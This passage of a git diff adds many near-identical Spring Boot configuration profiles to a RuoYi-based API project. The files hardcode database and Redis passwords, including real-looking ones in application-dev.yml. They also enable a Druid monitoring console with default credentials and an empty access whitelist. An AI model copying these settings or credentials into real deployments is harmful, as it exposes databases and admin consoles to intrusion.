com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-das.yml b/ruoyi-api/src/main/resources/application-das.yml new file mode 100644 index 0000000..c4bea62 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-das.yml @@ -0,0 +1,95 @@ +app: + name: das +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/das?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-dentcoin.yml b/ruoyi-api/src/main/resources/application-dentcoin.yml new file mode 100644 index 0000000..f536426 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-dentcoin.yml @@ -0,0 +1,95 @@ +app: + name: dentcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9011 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/dentcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-dev-new.yml b/ruoyi-api/src/main/resources/application-dev-new.yml new file mode 100644 index 0000000..12fa4d8 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-dev-new.yml @@ -0,0 +1,95 @@ +app: + name: test2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8083 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/echo2.1?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-dev.yml b/ruoyi-api/src/main/resources/application-dev.yml new file mode 100644 index 0000000..3cf67dd --- /dev/null +++ b/ruoyi-api/src/main/resources/application-dev.yml @@ -0,0 +1,98 @@ +app: + name: echo2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8220 +# 数据源配置 +spring: + # redis 配置 + redis: + # 连接超时 毫秒 + connectTimeout: 1800 + # 地址 + host: 127.0.0.1 + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + #password: 123d3ggf2 + password: 0vGhqoORF1 + # 连接超时时间 + timeout: 60s + jedis: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 8 + # 连接池的最大数据库连接数 + max-active: 8 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://127.0.0.1:3306/tbecho?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: tbecho + password: sen6CZWtpBcXfncJ + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn diff --git a/ruoyi-api/src/main/resources/application-dex.yml b/ruoyi-api/src/main/resources/application-dex.yml new file mode 100644 index 0000000..f0fc9a4 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-dex.yml @@ -0,0 +1,95 @@ +app: + name: dex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/dex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-ebc.yml b/ruoyi-api/src/main/resources/application-ebc.yml new file mode 100644 index 0000000..150245a --- /dev/null +++ b/ruoyi-api/src/main/resources/application-ebc.yml @@ -0,0 +1,96 @@ +app: + name: ebc +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/ebc?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-etfinex.yml b/ruoyi-api/src/main/resources/application-etfinex.yml new file mode 100644 index 0000000..5058dff --- /dev/null +++ b/ruoyi-api/src/main/resources/application-etfinex.yml @@ -0,0 +1,94 @@ +app: + name: etfinex +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/etfinex?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-fx.yml b/ruoyi-api/src/main/resources/application-fx.yml new file mode 100644 index 0000000..c553f7c --- /dev/null +++ b/ruoyi-api/src/main/resources/application-fx.yml @@ -0,0 +1,95 @@ +app: + name: fx +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/fx?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gatedefi.yml b/ruoyi-api/src/main/resources/application-gatedefi.yml new file mode 100644 index 0000000..2f20398 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gatedefi.yml @@ -0,0 +1,95 @@ +app: + name: gatedefi +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gatedefi?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gemini2.yml b/ruoyi-api/src/main/resources/application-gemini2.yml new file mode 100644 index 0000000..ced442e --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gemini2.yml @@ -0,0 +1,95 @@ +app: + name: gemini +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gemini?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gmdoin.yml b/ruoyi-api/src/main/resources/application-gmdoin.yml new file mode 100644 index 0000000..9114e43 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gmdoin.yml @@ -0,0 +1,94 @@ +app: + name: gmdoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmdoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gmmoin.yml b/ruoyi-api/src/main/resources/application-gmmoin.yml new file mode 100644 index 0000000..b0789a0 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gmmoin.yml @@ -0,0 +1,95 @@ +app: + name: gmmoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmmoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gmtoin.yml b/ruoyi-api/src/main/resources/application-gmtoin.yml new file mode 100644 index 0000000..ce78552 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gmtoin.yml @@ -0,0 +1,96 @@ +app: + name: gmtoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmtoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 